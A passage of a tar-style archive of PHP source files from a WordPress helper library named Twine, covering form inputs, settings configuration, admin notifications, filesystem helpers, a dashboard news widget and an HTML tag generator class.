? $input_settings['validation_error_message']
: null
)
);
$this->multiple_selections = false;
parent::__construct($answer_options, $input_settings);
}
}
Twine/forms/inputs/TextAreaInput.php 0000644 00000004324 14666776752 0013605 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\DisplayBase;
use Twine\forms\strategies\display\TextAreaDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\PlaintextValidation;
/**
* Text_Area
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
* This input has a default validation strategy of plaintext (which can be removed after construction)
*/
class TextAreaInput extends FormInputBase
{
/**
* @var int
*/
protected $rows = 2;
/**
* @var int
*/
protected $cols = 20;
/**
* Sets the rows property on this input
* @param int $rows
*/
public function setRows($rows)
{
$this->rows = $rows;
}
/**
* Sets the cols html property on this input
* @param int $cols
*/
public function setCols($cols)
{
$this->cols = $cols;
}
/**
*
* @return int
*/
public function getRows()
{
return $this->rows;
}
/**
*
* @return int
*/
public function getCols()
{
return $this->cols;
}
/**
* @param array $options_array
*/
public function __construct($options_array = array())
{
if (! $this->getDisplayStrategy() instanceof DisplayBase) {
$this->setDisplayStrategy(new TextAreaDisplay());
}
$this->setNormalizationStrategy(new TextNormalization());
parent::__construct($options_array);
// if the input hasn't specifically mentioned a more lenient validation strategy,
// apply plaintext validation strategy
if (
! $this->hasValidationStrategy(
array(
'Twine\forms\strategies\validation\FullHtmlValidation',
'Twine\forms\strategies\validation\SimpleHtmlValidation',
)
)
) {
// by default we use the plaintext validation. If you want something else,
// just remove it after the input is constructed :P using FormInputBase::remove_validation_strategy()
$this->addValidationStrategy(new PlaintextValidation());
}
}
}
Twine/forms/inputs/PasswordInput.php 0000644 00000001251 14666776752 0013666 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\TextInputDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
/**
* Password_Input
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class PasswordInput extends FormInputBase
{
/**
* @param array $input_settings
*/
public function __construct($input_settings = array())
{
$this->setDisplayStrategy(new TextInputDisplay('password'));
$this->setNormalizationStrategy(new TextNormalization());
parent::__construct($input_settings);
$this->setHtmlClass($this->htmlClass() . 'password');
}
}
Twine/forms/helpers/ImproperUsageException.php 0000644 00000000315 14666776752 0015625 0 ustar 00 <?php
namespace Twine\forms\helpers;
use Exception;
/**
* Class ConfigurationException
* Class to be thrown when forms code is used improperly.
*/
class ImproperUsageException extends Exception
{
}
Twine/forms/helpers/ValidationError.php 0000644 00000003213 14666776752 0014270 0 ustar 00 <?php
namespace Twine\forms\helpers;
use Exception;
use Twine\forms\base\FormSectionValidatable;
/**
* Class ValidationError
* @package Twine\forms\helpers
*/
class ValidationError extends Exception
{
/**
* Form Section from which this error originated.
* @var FormSectionValidatable
*/
protected $form_section;
/**
* A short string for uniquely identifying the error, which isn't internationalized and
* machines can use to identify the error
* @var string
*/
protected $string_code;
/**
* When creating a validation error, we need to know which field the error relates to.
* @param string $message message you want to display about this error
* @param string $string_code a code for uniquely identifying the exception
* @param FormSectionValidatable $form_section
* @param Exception $previous if there was an exception that caused this exception
*/
public function __construct($message = null, $string_code = null, $form_section = null, $previous = null)
{
$this->form_section = $form_section;
$this->string_code = $string_code;
parent::__construct($message, 500, $previous);
}
/**
* Returns teh form section which caused the error.
* @return FormSectionValidatable
*/
public function getFormSection()
{
return $this->form_section;
}
/**
* Sets teh form seciton of the error, in case it wasnt set previously
* @param FormSectionValidatable $form_section
* @return void
*/
public function setFormSection($form_section)
{
$this->form_section = $form_section;
}
}
Twine/forms/helpers/InputOption.php 0000644 00000002213 14666776752 0013453 0 ustar 00 <?php
namespace Twine\forms\helpers;
/**
* Class InputOption
* @package Twine\forms\helpers
*/
class InputOption
{
/**
* @var string
*/
protected $display_text;
/**
* @var string
*/
protected $help_text;
/**
* @var bool
*/
protected $enabled;
/**
* InputOption constructor.
* @param string $display_text
* @param null $help_text
* @param bool $enabled
*/
public function __construct($display_text, $help_text = null, $enabled = true)
{
$this->display_text = (string)$display_text;
$this->help_text = (string)$help_text;
$this->enabled = (bool)$enabled;
}
/**
* @return string
*/
public function getDisplayText()
{
return $this->display_text;
}
/**
* @return string
*/
public function getHelpText()
{
return $this->help_text;
}
/**
* @return string
*/
public function __toString()
{
return $this->getDisplayText();
}
/**
* @return boolean
*/
public function enabled()
{
return $this->enabled;
}
}
Twine/services/display/FormInputs.php 0000644 00000012642 14666776752 0014000 0 ustar 00 <?php
namespace Twine\services\display;
/**
* Class FormInputs
*
* For getting HTML for form inputs
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class FormInputs
{
/**
* @var string[]
*/
protected $inputs_prefixes = [];
/**
* @var string[]
*/
protected $new_values = [];
/**
* @param string[] $new_values
*/
public function setNewValues($new_values)
{
$this->new_values = $new_values;
}
/**
* @param string[] $prefixes
*/
public function setInputPrefixes($prefixes)
{
$this->inputs_prefixes = $prefixes;
}
/**
* Returns a sanitized HTML ID value.
* @param string $id
* @return string
*/
protected function id($id)
{
if ($this->inputs_prefixes) {
$id = implode('_', $this->inputs_prefixes) . '_' . $id;
}
return esc_attr($id);
}
/**
* Returns a sanitized HTML name value.
* @param string $name
* @return string
*/
protected function name($name)
{
if ($this->inputs_prefixes) {
$parts = $this->inputs_prefixes;
$parts[] = $name;
$first_part = array_shift($parts);
$name = $first_part;
if ($parts) {
$name .= '[' . implode('][', $parts) . ']';
}
}
return esc_attr($name);
}
/**
* Returns HTML for checkboxes.
* @param array $options Top-level keys are the input names, values are arrays with keys 'label', 'help',
* and 'default'.
* @return string of HTML
*/
public function getHtmlForShortOptions($options)
{
$html = '';
foreach ($options as $option_name => $option_details) {
$html .= '<label for="' . $this->id($option_name) . '">';
$html .= '<input type="checkbox" name="'
. $this->name($option_name)
. '" id="'
. $this->id($option_name)
. '"';
if ($this->getValue($option_name, $option_details)) {
$html .= ' checked="checked"';
}
$html .= 'value="1">' . $option_details['label'] . '</label><br>';
if (isset($option_details['help'])) {
$html .= '<p class="description">' . $option_details['help'] . '</p>';
}
}
return $html;
}
/**
* Gets the value if set, otherwise uses the default.
* @param string $option_name
* @param array $option_details
* @return mixed
*/
protected function getValue($option_name, $option_details)
{
if (isset($this->new_values[$option_name])) {
return $this->new_values[$option_name];
}
return $option_details['default'];
}
/**
* @param array $options
* @return string
*/
public function getHtmlForTabledOptions($options)
{
$html = '';
foreach ($options as $option_name => $option_details) {
$html .= '<tr>';
$html .= '<th scope="row">';
$html .= '<label for="' . $this->id($option_name) . '">' . $option_details['label'] . '</label>';
$html .= '</th>';
$html .= '<td>';
if (is_bool($option_details['default'])) {
$html .= '<input type="checkbox" name="'
. $this->name($option_name)
. '" id="'
. $this->id($option_name)
. '"';
if ($this->getValue($option_name, $option_details)) {
$html .= ' checked="checked"';
}
$html .= '>';
} elseif (isset($option_details['options'])) {
$html .= '<select name="' . $this->name($option_name) . '" id="' . $this->id($option_name) . '">';
foreach ($option_details['options'] as $option_value => $option_label) {
$html .= '<option value="' . esc_attr($option_value) . '"';
// we want soft comparison so an int equals a string of an int.
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
if ($this->getValue($option_name, $option_details) == $option_value) {
$html .= 'selected="selected"';
}
$html .= '>';
$html .= $option_label;
$html .= '</option>';
}
$html .= '</select>';
} else {
// normal input
//phpcs:disable Generic.Files.LineLength.TooLong
$html .= '<input type="text" name="'
. $this->name($option_name)
. '" id="'
. $this->id($option_name)
. '" value="'
. esc_attr($this->getValue($option_name, $option_details))
. '">';
//phpcs:enable
if (isset($option_details['after_input'])) {
$html .= $option_details['after_input'];
}
}
if (isset($option_details['help'])) {
$html .= '<p class="description">' . $option_details['help'] . '</p>';
}
$html .= '</td></tr>';
}
return $html;
}
}
// End of file FormInputs.php
// Location: Twine\services\display/FormInputs.php
Twine/services/config/Config.php 0000644 00000010676 14666776752 0012704 0 ustar 00 <?php
namespace Twine\services\config;
use Exception;
/**
* Class Config
* @package Twine\services\config
*/
abstract class Config
{
/**
* @var array|null, keys are setting names, values are whatever we want. null until initialized.
*/
protected $settings = null;
/**
* @var bool indicates the config needs to be saved
*/
protected $dirty = false;
/**
* @var array|null starts off null until it's initialized.
*/
protected $defaults = null;
/**
* Loads the settings from the database, if not already done. Automatically called when we want to get some
* settings.
* @return void
*/
protected function ensureLoadedFromDb()
{
if ($this->settings === null) {
$saved_config = get_option($this->optionName());
if (! is_array($saved_config)) {
$saved_config = [];
}
$this->settings = array_merge(
$this->ensureDefaultsDeclared(),
$saved_config
);
}
}
/**
* Makes sure defaults are set on the config.
* @return array defaults
*/
protected function ensureDefaultsDeclared(){
if($this->defaults === null){
$this->defaults = $this->declareDefaults();
}
return $this->defaults;
}
/**
* Returns the option name where the configuration will be stored.
* @return string
*/
abstract protected function optionName();
/**
* Lazily called when we need to know the default values for settings.
* @return array
*/
abstract protected function declareDefaults();
/**
* @param $setting_name
* @return mixed
* @throws SettingNotDefinedException
*/
public function getDefault($setting_name){
$this->ensureDefaultsDeclared();
if(! array_key_exists($setting_name, $this->defaults)){
throw new SettingNotDefinedException($setting_name);
}
return $this->defaults[$setting_name];
}
/**
* Resets all settings back to default.
*/
public function reset(){
$this->settings = $this->ensureDefaultsDeclared();
$this->setDirty();
}
/**
* @param $setting
* @throws SettingNotDefinedException
*/
public function resetSetting($setting){
$this->setSetting($setting, $this->getDefault($setting));
$this->setDirty();
}
/**
* Gets the saved setting
* @param string $setting_name
*
* @return mixed
* @throws SettingNotDefinedException
*/
public function getSetting($setting_name)
{
$this->ensureLoadedFromDb();
if(! array_key_exists($setting_name, $this->settings)){
throw new SettingNotDefinedException($setting_name);
}
return apply_filters(
'\Twine\services\config\Config::getSetting',
$this->settings[$setting_name],
$setting_name,
static::class,
$this->settings
);
}
/**
* Replaces all the settings with the provided ones. Settings will be automatically saved at the end of the request.
* @param array $all_settings keys are the setting names, values are their values.
*/
public function setSettings($all_settings)
{
$this->ensureLoadedFromDb();
if (! $this->dirty) {
$this->setDirty();
}
$this->settings = $all_settings;
}
/**
* Sets the setting. This will be automatically persisted to the database at the end of the request.
* @param string $setting_name
* @param mixed $value
*/
public function setSetting($setting_name, $value)
{
$this->ensureLoadedFromDb();
if (! $this->dirty && $this->settings[$setting_name] !== $value) {
$this->setDirty();
}
$this->settings[$setting_name] = $value;
}
/**
* Records this needs saving on shutdown.
*/
protected function setDirty()
{
$this->dirty = true;
add_action('shutdown', [$this, 'save']);
}
/**
* Persists the settings to the database for subsequent requests.
* You don't need to explicitly call this, as it's automatically enqueued to be done on shutdown after a call to
* setSetting().
* But this is here in case you'd like to save it early.
*/
public function save()
{
update_option($this->optionName(), $this->settings);
}
}
Twine/services/config/SettingNotDefinedException.php 0000644 00000000763 14666776752 0016727 0 ustar 00 <?php
namespace Twine\services\config;
class SettingNotDefinedException extends \Exception
{
protected $setting_name = '';
public function __construct($setting_name){
$this->setting_name = (string)$setting_name;
parent::__construct(sprintf('Setting "%s" not defined. Please contact Print My Blog support from the help page.', $setting_name));
}
/**
* @return string
*/
public function getSettingName(){
return $this->setting_name;
}
} Twine/services/notifications/OneTimeNotificationManager.php 0000644 00000007622 14666776752 0020302 0 ustar 00 <?php
namespace Twine\services\notifications;
use Twine\entities\notifications\OneTimeNotification;
use WP_User;
/**
* Class OneTimeNotificationManager
* Manages displaying messages to be shown once.
* @package Twine\services\notifications
*/
class OneTimeNotificationManager
{
const META_KEY = '_twine_ot_notifications';
/**
* @var OneTimeNotification[]
*/
protected $cached_notifications;
/**
* Gets all the one-time notifications for this user
* @param WP_User|int $wp_user
* @return OneTimeNotification[]
*/
public function getOneTimeNotificationsFor($wp_user)
{
if ($wp_user instanceof WP_User) {
$wp_user = $wp_user->ID;
}
$notification_metas = get_user_meta($wp_user, self::META_KEY, false);
$notifications = [];
if ($notification_metas) {
foreach ($notification_metas as $notice_data) {
$notifications[] = new OneTimeNotification($notice_data);
}
}
return $notifications;
}
/**
* Shows the one-time notifications for the current user and clears them.
*/
public function showOneTimeNotifications()
{
global $current_user;
$notifications = $this->getOneTimeNotificationsFor($current_user);
if (doing_action('admin_notices') || did_action('admin_notices')) {
$this->displayNotifications($notifications);
} else {
add_action('admin_notices', [$this, 'displayNotificationsLater']);
$this->cached_notifications = $notifications;
}
$this->clearNotificationsFor($current_user);
}
/**
* @param OneTimeNotification[] $notifications
*/
protected function displayNotifications($notifications)
{
foreach ($notifications as $notification) {
if ($notification instanceof OneTimeNotification) {
// ouput the notification's HTML (which must have been sanitized upstream)
//phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo $notification->display();
}
}
}
/**
* Echoes out HTML for notifications. Used as a callback for 'admin_notices' action.
*/
public function displayNotificationsLater()
{
$this->displayNotifications($this->cached_notifications);
}
/**
* Removes all one-time notifications for the given user
* @param WP_User|int $wp_user
*/
public function clearNotificationsFor($wp_user)
{
if ($wp_user instanceof WP_user) {
$wp_user = $wp_user->ID;
}
delete_user_meta($wp_user, self::META_KEY);
}
/**
* Adds a one-time notification for any user.
* @param WP_User $wp_user
* @param string $type constants on \Twine\entities\notifications\OneTimeNotification
* @param string $html
*/
public function addHtmlNotification($wp_user, $type, $html)
{
if ($wp_user instanceof WP_User) {
$wp_user = $wp_user->ID;
}
add_user_meta(
$wp_user,
self::META_KEY,
[
'type' => $type,
'html' => $html,
]
);
}
/**
* Adds a one-time notification for the curren tuser
* @param string $type constants on \Twine\entities\notifications\OneTimeNotification
* @param string $html
*/
public function addHtmlNotificationForCurrentUser($type, $html)
{
global $current_user;
$this->addHtmlNotification($current_user, $type, $html);
}
/**
* @param string $type constants on \Twine\entities\notifications\OneTimeNotification
* @param string $html html to display
*/
public function addTextNotificationForCurrentUser($type, $html)
{
$this->addHtmlNotificationForCurrentUser(
$type,
'<p>' . $html . '</p>'
);
}
}
Twine/services/filesystem/File.php 0000644 00000004753 14666776752 0013274 0 ustar 00 <?php
namespace Twine\services\filesystem;
/**
* Class FileWriter
* Give it a filepath, and it can make sure that file/folder exists.
*
* @package Twine\services\filesystem
*/
class File extends ThingOnServer
{
/**
* @var resource
*/
protected $file_handle;
/**
* Folder containing the file
*
* @var Folder $folder
*/
protected $folder;
/**
* Writes the content to the file. Note: it defaults to appending, so if the file already exists, the content
* will be *added* to it; it will not overwrite it.
* @param string $content
*/
public function write($content)
{
$this->ensureFolderExists();
// todo: use WP Filesystem
// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fwrite
fwrite($this->getFileHandle(), $content);
}
/**
* Deletes the file.
*
* @return bool success. If the file didn't exist anyways, also returns true.
*/
public function delete()
{
if ($this->fileExists()) {
return unlink($this->path);
}
return true;
}
/**
* @return resource
*/
protected function getFileHandle()
{
if (! $this->file_handle) {
// todo: replace with wp filesystem
//phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fopen
$this->file_handle = fopen($this->path, 'a+');
}
return $this->file_handle;
}
/**
*
* @return Folder
*/
public function getFolder()
{
if (! $this->folder instanceof Folder) {
$this->folder = new Folder(dirname($this->getPath()));
}
return $this->folder;
}
/**
* Ensure_folder_exists_and_is_writable
* ensures that a folder exists and is writable, will attempt to create folder if it does not exist
* Also ensures all the parent folders exist, and if not tries to create them.
* Also, if this function creates the folder, adds a .htaccess file and index.html file
*/
public function ensureFolderExists()
{
return $this->getFolder()->ensureExists();
}
/**
* @return bool
*/
public function folderExists()
{
return $this->getFolder()->exists();
}
/**
* @return bool
*/
public function fileExists()
{
if ($this->exists === null) {
$this->exists = is_file($this->getPath());
}
return $this->exists;
}
}
Twine/services/filesystem/Folder.php 0000644 00000004012 14666776752 0013614 0 ustar 00 <?php
namespace Twine\services\filesystem;
/**
* Class Folder
* @package Twine\services\filesystem
*/
class Folder extends ThingOnServer
{
/**
* @var Folder
*/
protected $parent;
/**
* @var File
*/
protected $index_file;
/**
* @return bool
*/
public function exists()
{
if ($this->exists === null) {
$this->exists = is_dir($this->getPath());
}
return $this->exists;
}
/**
* @return string
*/
public function parentFolderPath()
{
return dirname($this->getPath());
}
/**
* @return Folder
*/
public function parentFolder()
{
if (! $this->parent instanceof Folder) {
$this->parent = new Folder($this->parentFolderPath());
}
return $this->parent;
}
/**
* If folder doesn't exist, creates it.
*/
public function ensureExists()
{
if (! $this->exists()) {
$this->parentFolder()->ensureExists();
mkdir($this->getPath());
chmod($this->getPath(), 0777);
$this->exists = true;
$this->secure();
}
}
/**
* Make the folder safer by ensuring there is an index file.
*/
public function secure()
{
if (! $this->indexFile()->fileExists()) {
$this->indexFile()->write('No listing this directory.');
}
}
/**
* @return File
*/
protected function indexFile()
{
if (! $this->index_file) {
$this->index_file = new File($this->indexFilePath());
}
return $this->index_file;
}
/**
* Returns the path where the index file should be.
* @return string
*/
protected function indexFilePath()
{
return $this->getPath() . '/index.html';
}
/**
* @return bool success
*/
public function delete()
{
array_map('unlink', glob($this->getPath() . '/*.*'));
return rmdir($this->getPath());
}
}
Twine/services/filesystem/ThingOnServer.php 0000644 00000002070 14666776752 0015140 0 ustar 00 <?php
namespace Twine\services\filesystem;
/**
* Class ThingOnServer
* @package Twine\services\filesystem
*/
abstract class ThingOnServer
{
/**
* @var string
*/
protected $path;
/**
* Lets us cache whether or not this file/folder exists, so we don't have to keep checking repeatedly during the
* same request.
* @var bool|null
*/
protected $exists;
/**
* ThingOnServer constructor.
* @param string $path
*/
public function __construct($path)
{
$this->path = $this->standardizeFilepath($path);
}
/**
* Ensures the slashes are all unix-style, which PHP is happy with even on Windows.
* @param string $file_path
*
* @return string
*/
protected function standardizeFilepath($file_path)
{
return str_replace(array( '\\', '/' ), '/', $file_path);
}
/**
* @return string
*/
public function getPath()
{
return $this->path;
}
/**
* @return bool success
*/
abstract public function delete();
}
Twine/admin/news/DashboardNews.php 0000644 00000025363 14666776752 0013176 0 ustar 00 <?php
namespace Twine\admin\news;
use Twine\helpers\Array2;
if (!defined('ABSPATH')) {
die('No direct access allowed');
}
if (!class_exists('Updraft_Dashboard_News')) :
/**
* Handles all stuffs related to Dashboard News
*/
class DashboardNews
{
/**
* dashboard news feed URL
*
* @var String
*/
private $feed_url;
/**
* news page URL
*
* @var String
*/
private $link;
/**
* various translations to use in the UI
*
* @var array
*/
private $translations;
/**
* slug to use, where needed
*
* @var String
*/
private $slug;
/**
* Valid ajax callback pages
*
* @var array
*/
private $valid_callback_pages;
/**
* The number of RSS items to add to the feed.
* @var int
*/
private $item_count;
/**
* constructor of class Updraft_Dashboard_News
*
* @param String $feed_url - dashboard news feed URL
* @param String $link - web page URL
* @param array $translations - an array of translations, with keys: product_title, item_prefix, item_description, dismiss_confirm
*/
public function __construct($feed_url, $link, $translations, $news_item_count = 1)
{
$this->feed_url = $feed_url;
$this->link = $link;
$this->item_count = $news_item_count;
$this->translations = $translations;
// Make a slug that will be used in Javascript function names, so no dashes!
$this->slug = str_replace('-', '_', sanitize_title($translations['product_title']));
$dashboard_news_transient_name = $this->get_transient_name();
add_filter('pre_set_transient_' . $dashboard_news_transient_name, array($this, 'pre_set_transient_for_dashboard_news'), 10);
add_filter('transient_' . $dashboard_news_transient_name, array($this, 'transient_for_dashboard_news'), 10);
add_action('wp_ajax_' . $this->slug . '_ajax_dismiss_dashboard_news', array($this, 'dismiss_dashboard_news'));
if ('index.php' == $GLOBALS['pagenow'] && !get_user_meta(get_current_user_id(), $this->slug . '_dismiss_dashboard_news', true)) {
add_action('admin_print_footer_scripts', array($this, 'admin_print_footer_scripts'));
}
add_action('wp_ajax_dashboard-widgets', array($this, 'wp_ajax_dashboard_widgets_low_priority'), 1);
add_action('wp_ajax_dashboard-widgets', array($this, 'wp_ajax_dashboard_widgets_high_priority'), 20);
$this->valid_callback_pages = array(
'dashboard-user',
'dashboard-network',
'dashboard',
);
}
/**
* Get the transient name
*
* @return String
*/
private function get_transient_name()
{
$locale = function_exists('get_user_locale') ? get_user_locale() : get_locale();
include(ABSPATH . WPINC . '/version.php');
$dash_prefix = version_compare($wp_version, '4.8', '>=') ? 'dash_v2_' : 'dash_';
return version_compare($wp_version, '4.3', '>=') ? $dash_prefix . md5('dashboard_primary_' . $locale) : 'dash_' . md5('dashboard_primary');
}
/**
* Filters a transient for dashboard news before its value is set
*
* @param String $value - New value of transient
* @return String HTML of Wordpress News & Events same as $transient param
*/
public function pre_set_transient_for_dashboard_news($value)
{
if (!function_exists('wp_dashboard_primary_output')) {
return $value;
}
// Not needed first if condition, because filter hook name have already transient name. It is for better checking
if (!get_user_meta(get_current_user_id(), $this->slug . '_dismiss_dashboard_news', true)) {
// Gets the news, when fetching WP news first time (transient cache does not exist)
$this->get_dashboard_news_html();
}
return $value;
}
/**
* wp_ajax_dashboard-widgets ajax action handler with low priority
*/
public function wp_ajax_dashboard_widgets_low_priority()
{
if (!$this->do_ajax_dashboard_news()) {
return;
}
add_filter('wp_die_ajax_handler', array($this, 'wp_die_ajax_handler'));
}
/**
* Dummy wp die handler
*
* @param String $callback_function Callable $function Callback function name
* @return String callable $function Callback function name
*/
public function wp_die_ajax_handler($callback_function)
{
// this condition is not required, but always better to double confirm
if (!$this->do_ajax_dashboard_news()) {
return $callback_function;
}
// Here, We can use __return_empty_string function name, but __return_empty_string is available since WP 3.7. Whereas __return_true function name available since WP 3.0
return '__return_true';
}
/**
* wp_ajax_dashboard-widgets ajax action handler with high priority
*/
public function wp_ajax_dashboard_widgets_high_priority()
{
if (!$this->do_ajax_dashboard_news()) {
return;
}
remove_filter('wp_die_ajax_handler', array($this, 'wp_die_ajax_handler'));
echo $this->get_dashboard_news_html();
wp_die();
}
/**
* Check whether valid ajax for dashboard news or not
*
* @return Boolean True if an ajax for the WP dashboard news
*/
private function do_ajax_dashboard_news()
{
$ajax_callback_page = !empty($_GET['pagenow']) ? $_GET['pagenow'] : '';
return (in_array($ajax_callback_page, $this->valid_callback_pages) && !empty($_GET['widget']) && 'dashboard_primary' == $_GET['widget']);
}
/**
* Filters a transient for dashboard news when getting transient value
*
* @param String $value - New value of transient
* @return String - HTML of Wordpress News & Events
*/
public function transient_for_dashboard_news($value)
{
if (!function_exists('wp_dashboard_primary_output')) {
return $value;
}
$dashboard_news_transient_name = $this->get_transient_name();
// Not needed first if condition, because filter hook name have already transient name. It is for better checking
if (!get_user_meta(get_current_user_id(), $this->slug . '_dismiss_dashboard_news', true) && !empty($value)) {
return $value . $this->get_dashboard_news_html();
}
return $value;
}
/**
* get dashboard news html
*
* @return String - the resulting message
*/
private function get_dashboard_news_html()
{
$cache_key = $this->slug . '_dashboard_news';
if (false !== ($output = get_transient($cache_key))) {
return $output;
}
$feeds = array(
$this->slug => array(
'link' => $this->link,
'url' => $this->feed_url,
'title' => $this->translations['product_title'],
'items' => apply_filters($this->slug . '_dashboard_news_items_count', $this->item_count),
'show_summary' => 0,
'show_author' => 0,
'show_date' => 0,
)
);
ob_start();
wp_dashboard_primary_output('dashboard_primary', $feeds);
$original_formatted_news = ob_get_clean();
$formatted_news = preg_replace('/<a(.+?)>(.+?)<\/a>/i', "<a$1>" . $this->translations['item_prefix'] . ": $2</a>", $original_formatted_news);
$formatted_news = str_replace('<li>', '<li class="' . $this->slug . '_dashboard_news_item">' . '<a href="' . $this->get_current_clean_url() . '" class="dashicons dashicons-no-alt" title="' . esc_attr($this->translations['dismiss_tooltip']) . '" onClick="' . $this->slug . '_dismiss_dashboard_news(); return false;" style="float: right; box-shadow: none; margin-left: 5px;"></a>', $formatted_news);
set_transient($this->slug . '_dashboard_news', $formatted_news, 43200); // 12 hours
return $formatted_news;
}
/**
* Prints javascripts in admin footer
*/
public function admin_print_footer_scripts()
{
?>
<script>
function <?php echo $this->slug; ?>_dismiss_dashboard_news() {
if (confirm("<?php echo esc_js($this->translations['dismiss_confirm']); ?>")) {
jQuery.ajax({
url: '<?php echo admin_url('admin-ajax.php');?>',
data : {
action: '<?php echo $this->slug; ?>_ajax_dismiss_dashboard_news',
nonce : '<?php echo wp_create_nonce($this->slug . '-dismiss-news-nonce');?>'
},
success: function(response) {
jQuery('.<?php echo $this->slug; ?>_dashboard_news_item').slideUp('slow');
},
error: function(response, status, error_code) {
console.log("<?php echo $this->slug; ?>_dismiss_dashboard_news: error: "+status+" ("+error_code+")");
console.log(response);
}
});
}
}
</script>
<?php
}
/**
* Dismiss dashboard news
*/
public function dismiss_dashboard_news()
{
$nonce = empty($_REQUEST['nonce']) ? '' : $_REQUEST['nonce'];
if (!wp_verify_nonce($nonce, $this->slug . '-dismiss-news-nonce')) {
die('Security check.');
}
update_user_meta(get_current_user_id(), $this->slug . '_dismiss_dashboard_news', true);
die();
}
private function get_current_clean_url()
{
return "://" . Array2::setOr($_SERVER,'HTTP_HOST','') . Array2::setOr($_SERVER,'REQUEST_URI','');
}
}
endif;
//$updraftplus_dashboard_news = new Updraft_Dashboard_News('https://feeds.feedburner.com/updraftplus/', 'https://updraftplus.com/news/', $news_translations); Twine/helpers/Html.php 0000644 00000071064 14666776752 0010753 0 ustar 00 <?php
namespace Twine\helpers;
/**
*
* Class EEH_HTML
*
* Sometimes when writing PHP you need to generate some standard HTML,
* but either not enough to warrant creating a template file,
* or the amount of PHP conditionals and/or loops peppered throughout the HTML
* just make it really ugly and difficult to read.
* This class simply adds a bunch of methods for generating basic HTML tags.
* Most of the methods have the same name as the HTML tag they generate, and most have the same set of parameters.
*
* @package Event Espresso
* @subpackage core
* @author Brent Christensen
*
*
*/
class Html
{
/**
* @var Html
*/
protected static $instance;
/**
* @var int[]
*/
protected $indent;
/**
* @return Html
*/
public static function instance()
{
if (! self::$instance instanceof Html) {
self::$instance = new Html();
}
return self::$instance;
}
/**
* Resets indentation
* @return Html
*/
public static function reset()
{
self::$instance = null;
return self::instance();
}
/**
*
* @access private
*/
protected function __construct()
{
// set some initial formatting for table indentation
$this->indent = array(
'none' => 0,
'form' => 0,
'radio' => 0,
'checkbox' => 0,
'select' => 0,
'option' => 0,
'optgroup' => 0,
'table' => 1,
'thead' => 2,
'tbody' => 2,
'tr' => 3,
'th' => 4,
'td' => 4,
'div' => 0,
'h1' => 0,
'h2' => 0,
'h3' => 0,
'h4' => 0,
'h5' => 0,
'h6' => 0,
'p' => 0,
'ul' => 0,
'li' => 1,
);
}
/**
* Generates an opening HTML <XX> tag and adds any passed attributes
* if passed content, it will also add that, as well as the closing </XX> tag
*
* @access protected
* @param string $tag
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @param bool $force_close
* @return string
*/
protected function aTag(
$tag = 'div',
$content = '',
$id = '',
$class = '',
$style = '',
$other_attributes = '',
$force_close = false
) {
$attributes = ! empty($id) ? ' id="' . $this->sanitizeId($id) . '"' : '';
$attributes .= ! empty($class) ? ' class="' . $class . '"' : '';
$attributes .= ! empty($style) ? ' style="' . $style . '"' : '';
$attributes .= ! empty($other_attributes) ? ' ' . $other_attributes : '';
$html = $this->nl(0, $tag) . '<' . $tag . $attributes . '>';
$html .= ! empty($content) ? $this->nl(1, $tag) . $content : '';
$indent = ! empty($content) || $force_close ? true : false;
$html .= ! empty($content) || $force_close ? $this->closeTag($tag, $id, $class, $indent) : '';
return $html;
}
/**
* Returns an opening HTML tag.
* @param string $tag
* @param string $id
* @param string $class
* @param string $style
* @param string $other_attributes
* @return string
*/
public function openTag(
$tag = 'div',
$id = '',
$class = '',
$style = '',
$other_attributes = ''
) {
return $this->aTag(
$tag,
'',
$id,
$class,
$style,
$other_attributes,
false
);
}
/**
* @param string $tag
* @param string $content
* @param string $id
* @param string $class
* @param string $style
* @param string $other_attributes
*
* @return string
*/
public function tag(
$tag = 'div',
$content = '',
$id = '',
$class = '',
$style = '',
$other_attributes = ''
) {
return $this->aTag(
$tag,
$content,
$id,
$class,
$style,
$other_attributes,
true
);
}
/**
* Generates HTML closing </XX> tag - if passed the id or class attribute
* used for the opening tag, will append a comment
*
* @param string $tag
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param bool $indent
* @return string
*/
public function closeTag($tag = 'div', $id = '', $class = '', $indent = true)
{
$comment = '';
if ($id) {
$comment = $this->comment('close ' . $id) . $this->nl(0, $tag);
} elseif ($class) {
$comment = $this->comment('close ' . $class) . $this->nl(0, $tag);
}
$html = $indent ? $this->nl(-1, $tag) : '';
$html .= '</' . $tag . '>' . $comment;
return $html;
}
/**
* Generates HTML opening <div> tag and adds any passed attributes
* to add an id use: echo $this->div( 'this is some content', 'footer' );
* to add a class use: echo $this->div( 'this is some content', '', 'float_left' );
* to add a both an id and a class use: echo $this->div( 'this is some content', 'footer', 'float_left' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
public function div($content = '', $id = '', $class = '', $style = '', $other_attributes = '')
{
return $this->aTag('div', $content, $id, $class, $style, $other_attributes);
}
/**
* Generates HTML closing </div> tag - if passed the id or class attribute used for the opening div tag, will
* append a comment
* usage: echo $this->divx();
*
* @param string $id - html id attribute
* @param string $class - html class attribute
* @return string
*/
public function divx($id = '', $class = '')
{
return $this->closeTag('div', $id, $class);
}
/**
* Generates HTML <h1></h1> tags, inserts content, and adds any passed attributes
* usage: echo $this->h1( 'This is a Heading' );
*
* @param string $content - inserted after opening tag, and appends closing tag, otherwise tag is left open
* @param string $id - html id attribute
* @param string $class - html class attribute
* @param string $style - html style attribute for applying inline styles
* @param string $other_attributes - additional attributes like "colspan", inline JS, "rel" tags, etc
* @return string
*/
